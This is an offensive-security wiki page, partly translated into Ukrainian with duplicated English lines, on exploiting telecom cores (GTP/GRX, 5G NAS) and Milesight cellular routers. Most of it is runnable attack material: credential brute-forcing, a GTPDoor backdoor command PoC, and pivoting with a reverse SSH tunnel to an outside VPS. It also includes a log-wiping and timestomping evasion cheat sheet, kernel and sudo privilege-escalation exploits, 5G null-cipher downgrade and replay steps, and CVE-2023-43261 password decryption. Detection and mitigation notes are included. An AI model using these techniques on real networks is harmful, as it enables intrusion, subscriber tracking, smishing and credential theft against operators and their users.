327 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Протоколи мобільного ядра (GPRS Tunnelling Protocol GTP) зазвичай проходять через напівдовірені GRX/IPX роумінгові магістралі. Оскільки вони передаються по звичайному UDP з майже відсутньою автентифікацією, **будь-який foothold всередині периметру телеком-мережі зазвичай може безпосередньо досягати основних площин сигналізації**. Наведені нижче нотатки містять атакувальні прийоми, зафіксовані в реальному житті проти SGSN/GGSN, PGW/SGW та інших вузлів EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Дивно велика кількість елементів мережі від постачальників поставляється з жорстко вбудованими SSH/Telnet користувачами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Спеціалізований wordlist значно підвищує успіх brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Якщо пристрій відкриває лише management VRF, спочатку pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
### 1.2 Виявлення хостів усередині GRX/IPX
Більшість операторів GRX досі дозволяють **ICMP echo** через магістральну мережу. Поєднайте `masscan` із вбудованими UDP-пробами `gtpv1`, щоб швидко відобразити GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Перелічення абонентів `cordscan`
Наступний Go tool формує пакети **GTP-C Create PDP Context Request** і записує відповіді. Кожна відповідь розкриває поточний **SGSN / MME**, що обслуговує запитуваний IMSI, а інколи — відвідану абонентом PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Ключові опції:
- `--imsi` Цільовий абонент IMSI
- `--oper` Домашній оператор / HNI (MCC+MNC)
- `-w` Записувати необроблені пакети у pcap
Важливі константи всередині бінарного файлу можна змінити, щоб розширити діапазон сканування:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
`GTPDoor` — невеликий ELF-сервіс, який **binds UDP 2123 і parses every incoming GTP-C packet**. Коли payload починається з pre-shared tag, решта дешифрується (AES-128-CBC) і виконується через `/bin/sh -c`. stdout/stderr exfiltrated всередині **Echo Response** messages, тому жодна зовнішня сесія не створюється.
Мінімальний PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Виявлення:
* будь-який хост, що відправляє **unbalanced Echo Requests** на IP-адреси SGSN
* GTP version flag встановлений у 1, тоді як message type = 1 (Echo) — відхилення від специфікації
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` постачається з емультором SGSN, який може **встановити PDP context до реального GGSN/PGW**. Після узгодження Linux отримує новий інтерфейс `tun0`, доступний з боку роумінг-піра.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
За належного firewall hair-pinning цей тунель обходить signalling-only VLANs і ви опиняєтеся прямо в **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS майже завжди відкритий у роумінгових інфраструктурах. Виставте внутрішній SSH service на вашому VPS, що слухає на :53, і поверніться пізніше з дому:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Переконайтеся, що `GatewayPorts yes` увімкнено на VPS.
## 5. Приховані канали
| Канал | Транспорт | Декодування | Примітки |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | повністю пасивний слухач, без вихідного трафіку |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | стежить за субдоменом `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | маскується під легітимний GTP-C трафік |
Усі implants реалізують watchdogs, які **timestomp** їхні binaries і re-spawn у разі збою.
## 6. Шпаргалка з обходу захисту
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilege Escalation на Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Порада з очищення:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Набір інструментів
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` кастомні інструменти, описані в попередніх розділах.
* `FScan` : інтра-мережеві TCP-сканування (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : легкий SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. Атаки реєстрації 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Процедура реєстрації 5G відбувається по NAS (Non-Access Stratum) поверх NGAP. До активації NAS security через Security Mode Command/Complete початкові повідомлення не автентифіковані та не шифруються. Це вікно перед безпекою дозволяє кілька векторів атаки, коли ви можете спостерігати або модифікувати N2 трафік (наприклад, on-path всередині core, rogue gNB або тестове середовище).
Потік реєстрації (спрощено):
- Registration Request: UE надсилає SUCI (SUPI зашифрований публічним ключем home-network) та можливості.
- Authentication: AMF/AUSF надсилають RAND/AUTN; UE повертає RES*.
- Security Mode Command/Complete: відбувається узгодження та активація NAS integrity і ciphering.
- PDU Session Establishment: налаштування IP/QoS.
Поради щодо налаштування лабораторії (без RF):
- Core: стандартне розгортання Open5GS достатнє для відтворення потоків.
- UE: симулятор або тестовий UE; декодування через Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Корисні фільтри відображення у Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Приватність ідентифікаторів: SUCI failures exposing SUPI/IMSI
Очікуване: UE/USIM має передавати SUCI (SUPI зашифрований публічним ключем home-network). Знаходження відкритого SUPI/IMSI у Registration Request вказує на дефект приватності, що дозволяє стійке відстеження абонента.
Як тестувати:
- Захопіть перше NAS-повідомлення в InitialUEMessage та проінспектуйте Mobile Identity IE.
- Швидкі перевірки у Wireshark:
- Воно має декодуватися як SUCI, а не IMSI.
- Приклади фільтрів: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` має існувати; відсутність цього разом із присутністю `imsi` вказує на витік.
Що збирати:
- MCC/MNC/MSIN якщо відкриті; логувати по-UE і відстежувати у часі/локаціях.
Захист:
- Примушувати UEs/USIMs працювати тільки з SUCI; сигналізувати про будь-який IMSI/SUPI в початковому NAS.
### 9.2 Заведення занижених можливостей до null-алгоритмів (EEA0/EIA0)
Передумови:
- UE повідомляє підтримувані EEA (encryption) та EIA (integrity) у UE Security Capability IE Registration Request.
- Загальні відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — null-алгоритми.
Проблема:
- Оскільки Registration Request не має integrity protection, on-path атакуючий може очистити біти можливостей, щоб змусити обрання EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють null-алгоритми поза emergency services.
Нападальні кроки:
- Перехопіть InitialUEMessage і змініть NAS UE Security Capability так, щоб вона рекламувала лише EEA0/EIA0.
- З Sni5Gect підхопіть NAS-повідомлення і патчіть біти можливостей перед пересилкою.
- Спостерігайте, чи AMF приймає null cipher/integrity і завершує Security Mode з EEA0/EIA0.
Перевірка/видимість:
- У Wireshark підтвердіть вибрані алгоритми після Security Mode Command/Complete.
- Приклад виходу пасивного сніфера:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Заходи пом'якшення (обов'язково):
- Налаштуйте AMF/policy на відхилення EEA0/EIA0, за винятком випадків, коли це суворо продиктовано (наприклад, екстрені виклики).
- Надавайте перевагу застосуванню EEA2/EIA2 як мінімум; реєструйте та піднімайте тривогу для будь-якого контексту безпеки NAS, який веде переговори про null algorithms.
### 9.3 Replay of initial Registration Request (pre-security NAS)
Оскільки початковий NAS позбавлений цілісності та актуальності, перехоплений InitialUEMessage+Registration Request може бути replay-нутий до AMF.
PoC правило для 5GReplay для пересилки відповідних replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- На що звертати увагу:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
- Чи приймає AMF replay і переходить до Authentication; відсутність перевірки свіжості/контексту вказує на вразливість.
Mitigations:
- Заходи захисту:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
- Забезпечити захист від replay/зв'язування контексту на AMF; застосувати rate-limit і кореляцію за GNB/UE.
### 9.4 Tooling pointers (reproducible)
- 9.4 Поради щодо інструментів (відтворювано)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Open5GS: підняти AMF/SMF/UPF для емуляції ядра; спостерігати N2 (NGAP) і NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- Wireshark: перевірити декоди NGAP/NAS; застосувати фільтри вище, щоб ізолювати Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- 5GReplay: захопити registration, потім replay конкретних NGAP + NAS повідомлень згідно правила.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
- Sni5Gect: live sniff/modify/inject NAS control-plane для примушення null algorithms або порушення authentication sequences.
### 9.5 Defensive checklist
- 9.5 Контрольний список захисту
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Постійно перевіряти Registration Request на наявність plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Відкидати EEA0/EIA0, за винятком строго визначених аварійних процедур; вимагати щонайменше EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Виявляти rogue або неправильно налаштовану інфраструктуру: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
- Оповіщати про NAS security modes, які призводять до null algorithms або частих replay InitialUEMessage.
---
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
## 10. Промислові мобільні маршрутизатори Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPCstyle endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Зловживання відкритими web API промислових мобільних маршрутизаторів дозволяє здійснювати stealthy, carrier-origin smishing у масштабі. Маршрутизатори Milesight серії UR відкривають JSON-RPCstyle endpoint на `/cgi`. При неправильній конфігурації API можна опитувати без authentication, щоб перелічити SMS inbox/outbox і, в деяких розгортаннях, відправляти SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
Типові unauthenticated запити (така ж структура для inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Відповіді містять поля, такі як `timestamp`, `content`, `phone_number` (E.164) та `status` (`success` або `failed`). Повторні відправлення зі статусом `failed` на той самий номер часто є «перевірками можливостей» атакуючого, щоб переконатися, що маршрутизатор/SIM може доставляти повідомлення перед масовою розсилкою.
Приклад curl для exfiltrate метаданих SMS:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Примітки щодо auth-артефактів:
- Деякий трафік може містити auth cookie, але велика частина відкритих пристроїв відповідає без будь-якої аутентифікації на `query_inbox`/`query_outbox`, коли інтерфейс управління доступний з Інтернету.
- У середовищах, що вимагають auth, previously-leaked credentials (див. нижче) відновлюють доступ.
Шлях відновлення облікових даних CVE-2023-43261:
- Затронуті сімейства: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Проблема: журнали, що віддаються через web (наприклад, `httpd.log`), доступні без аутентифікації за шляхом `/lang/log/` і містять події входу admin з паролем, зашифрованим із використанням захардкодженого AES key/IV, присутнього в client-side JavaScript.
- Практичний доступ і розшифрування:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Мінімальний скрипт на Python для розшифрування leaked паролів (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Полювання та ідеї для виявлення (мережа):
- Тригери на неаутентифікований `POST /cgi`, JSON-тiло якого містить `base`/`function`, встановлені в `query_inbox` або `query_outbox`.
- Відстежувати повторні сплески `POST /cgi`, за якими слідують записи `status":"failed"` по великій кількості унікальних номерів з того самого source IP (capability testing).
- Інвентаризація Internet-exposed Milesight роутерів; обмежити управління через VPN; вимкнути SMS-функції, якщо вони не потрібні; оновити до ≥ v35.3.0.7; ротувати облікові дані та переглядати SMS-логи на предмет невідомих відправлень.
Shodan/OSINT pivots (приклади, помічені в природі):
- `http.html:"rt_title"` відповідає панелям роутерів Milesight.
- Google dorking для відкритих логів: `"/lang/log/system" ext:log`.
Оперативний вплив: використання легітимних carrier SIM у роутерах забезпечує дуже високу доставлюваність/авторитетність SMS для фішингу, тоді як експозиція inbox/outbox призводить до leak чутливих метаданих у великому масштабі.
---
## Detection Ideas
1. **Будь-який пристрій, крім SGSN/GGSN, який встановлює Create PDP Context Requests**.
2. **Не-стандартні порти (53, 80, 443), що приймають SSH handshakes** з internal IP.
3. **Часті Echo Requests без відповідних Echo Responses** можуть вказувати на маячки GTPDoor.
4. **Велика інтенсивність ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence**.
5. 5G: **InitialUEMessage, що несе NAS Registration Requests, повторювані з ідентичних endpoints** (replay signal).
6. 5G: **NAS Security Mode, що узгоджує EEA0/EIA0 поза контекстом emergency**.
## References
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}